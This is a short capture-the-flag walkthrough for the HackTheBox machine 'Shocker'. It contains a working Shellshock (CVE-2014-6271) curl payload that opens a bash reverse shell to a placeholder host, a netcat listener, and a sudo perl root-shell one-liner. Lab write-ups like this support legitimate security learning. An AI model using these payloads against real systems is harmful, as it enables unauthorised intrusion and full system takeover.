Shocker writeup & walkthrough

Shocker is an easy HackTheBox Linux machine exploiting the Shellshock vulnerability (CVE-2014-6271) via a CGI script to get RCE. Privilege escalation uses sudo perl to pop a root shell.

HackTheBox - Shocker

Access Path

no access => shelly => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

nmap -sV -sC -Pn 10.10.10.56
# Open: SSH (22), HTTP (80)

# Find CGI scripts
gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -x sh,cgi,pl

# Shellshock RCE (CVE-2014-6271)
curl -H "user-agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/4444 0>&1'"   http://10.10.10.56/cgi-bin/user.sh

nc -lvnp 4444

# Privilege Escalation
sudo -l
# => /usr/bin/perl as root NOPASSWD

sudo /usr/bin/perl -e 'exec "/bin/sh"'